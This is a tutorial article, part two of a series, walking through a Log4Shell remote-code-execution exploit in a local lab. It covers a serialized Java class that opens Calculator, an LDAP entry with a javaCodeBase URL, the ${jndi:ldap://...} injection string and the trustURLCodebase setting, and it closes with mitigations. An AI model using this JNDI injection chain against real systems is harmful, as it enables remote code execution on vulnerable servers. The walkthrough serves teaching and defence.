A practical guide for exploiting the Log4j vulnerability

Part two: Dangerous exploits

In part one of this article we had a look of the anatomy of this attack from a theoretical point of view. We explained the puzzle pieces (the log4j vulnerable library, the JNDI, the JNDI lookup messages mechanism and nevertheless the LDAP server) and how they fit together to exploit the log4j vulnerability in a web application. We’ve also presented a very simple attack example which steals information about environmental variables from the machine hosting the application.

In the following part of this series, we will be covering a much more dangerous exploit, such as remote code execution (RCE).

The exploit that we’re going to use is an object that, when it is being constructed, will open the Calculator app three times on the machine that hosts the web application. In our case it’s the local machine and the operating system is macOS.

The first part of the exploit consists of the actual code that will open the Calculator app three times. This is put in a static block that will be executed before the Exploit object is created.

The second part is serializing this object in an external file that is going to be used in a further step.

The above code will simply create an Exploit object and save it in a file called “open_call_3_times.ser”.

Since we’ve created the exploit and saved it on the disk, we can go to the next step.

Let’s open Apache Directory Studio and create a malicious object that will hold our previous Java code.

This is how the interface looks. In the bottom left corner we have two tabs: one for the LDAP server and one for the LDAP client (Connections). Once we’ve started the server, we can then establish a connection and we’ll see in the top left window a hierarchy of objects where we can navigate through using the LDAP browser. 

Let’s start the server.

After connecting to the server (from the Connections tab) we can see the LDAP object tree composed of: current domain (dc=example, dc=com), organization units (ou=users), etc.

Under the organizational unit users, we will create a new Entry: Right click -> New -> New entry.

In the dialog that appears, leave it as it is. We will use the existing template. Click “Next.”

From the left panel, select all the elements as in the below picture, so we can have them in the right panel. For our exploit, all we care about is the javaObject and javaSerializedObject, but since we’re creating an object under the organizationUnit, we need to create some other objects as well (a structural object class). See the message in the picture that says: “Select at least one structural object class.” 

For our purposes, we’ve selected the inetOrgPerson – which is a structural object class. The javaObject and the javaSerialized objects are not. Along with selecting some objects from the left panel into the right panel, you will notice that some of them are dependent on others, therefore a couple of others may be selected automatically for you. You cannot delete them or select them by mistake. Leave them as they are. Click on “Next.”

In the next dialog window, select as the parent the: ou=users,dc=example,dc=com – since you want to create the current object under this organizational unit. Because it is a new object, this needs to be identified in an unique way by the use of the RDN. The RDN is the relative portion of a distinguished name (DN), which uniquely identifies an LDAP object. For this example, let’s use something simple like gn=John. We can select from the dropdown a bunch of other key-value pairs and compose them as per our wish, in order to uniquely identify this object we’re creating. In our case, let’s go with gn (as the key) and John (as the value). Gn stands for “Given Name.”

In the next step, we upload the serialization file which we generated, open_calc_3_times.ser. Click “OK.”

In the next step, complete out the missing attributes. For cn, enter john doe, for example, and for sn, doe. Cn stands for common name and sn stands for surname. The javaClassName attribute is mandatory for our purposes. Enter the name of the class that contains the exploit. In our case the class name is Exploit. You can see that javaSerializedData attribute holds a binary file. That’s the serialization file we’ve uploaded in the previous step. Click on “Finish.” 

This is what it looks like if everything went well and no errors had happened during this wizard. We have a new user under organizational unit users, with a gn=john.

In the final step of creating the LDAP exploit object, we need to add an extra attribute called javaCodebase. In this key-value pair we define the actual path for the Exploit javaClassName attribute. More precisely, the value for javaCodeBase attribute will be a URL path towards the Exploit.class itself. This is hosted on another server and has to be made accessible. 

In the attributes list from the right panel, right click and select New Attribute, as in the picture below.

Select the javaCodeBase from the Attribute type drop-down. Select “Next” and then “Finish.”

In the attributes list from the right panel enter for the javaCodeBase attribute the following value: http://localhost:8083/sample/images/

Below you can see the actual class as part of the /sample/images/ folder. The sample web-app is a default web-app part of the apache-tomcat web server distribution. It contains a folder called images which is already accessible through the browser. That is the perfect location for our Exploit class since the folder already has the necessary permissions.

Before running the exploit we need to start this server, so the class would become accessible.

We can access the sample web application and go to images/tomcat.gif to ensure that the server is up.

Now we have defined a full LDAP exploit object that can be used for Log4j injection and all pieces are in place. 

Each LDAP object (including this one) has a unique URL which can be identified. This URL will be used as the input when logging a message. In order to obtain the URL, you’ll have to right click on the newly created object (gn=john) and click on Properties. Copy the URL value and use it in the MALICIOUS_TERM constant defined in the vulnerable app. Remember, for the sake of simplicity, we’ve hard-coded this directly into the web-app, but, in real-life scenario this would come from another web-client that interacts with the app.

Log4j accepts reading information from other sources, using JNDI protocol. Therefore, in order to read this URL, we need to prefix it with ”jndi:”. The full URL becomes: ${jndi:ldap://localhost:10389/gn=john,ou=users,dc=example,dc=com}.

Let’s start the vulnerable web-application.

We see that we have an available web application on port 8080. Let’s access that in a browser.

In the logs above, Log4j outputted “Search term was Exploit@[weird_hash_here]”. So the simple URL String passed in was not outputted, but instead an instance of an object was created behind the scenes and that instance was printed out. That instance is an Exploit instance object – the one with the static block that runs remote code – in our case, opening three instances of the Calculator application. In the picture below there are three instances displayed of the Calculator app in the taskbar.

In EmployeeController class you will notice another piece of code:

static {

System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);

}

The above is a JVM property that enables remote class loading of the Exploit.class from the javaCodebase attribute we defined in the LDAP object. The value for that attribute is an external URL that hosts the class itself. This property is set to false by default by the Java distribution, but it allows for it to be overwritten. This means that there are legitim real life scenarios where this property can be set to true which makes the web-application vulnerable to these kinds of attacks, if, of course, the web-app also uses a vulnerable Log4j library.   

Mitigations

  • Upgrade to the latest version of Log4j library or replace it with a non-vulnerable logging library
  • Make sure that the JVM property that enables remote class loading, com.sun.jndi.ldap.object.trustURLCodebase, is set to false. However, this mitigation solves only the issue with remote code execution. The application still remains vulnerable to attacks exposing environment variables like AWS_KEY, AWS_SECRET, etc.
  • Use a WAF (web application firewall) that operates based on a blocklist

In this mini article-series we had a look into the main components that build the Log4shell attack and the way to put them into action. We first went through a harmless example which could be transformed into a credentials-stealing attack, making it much more dangerous. In addition, we also disseminated a more sophisticated attack that executes malicious code on the web application hosting machine. The Log4Shell vulnerability remains a high-impact one that can be exploited by an attacker very easily and have devastating consequences for an organization if it’s not addressed correctly.

Article sources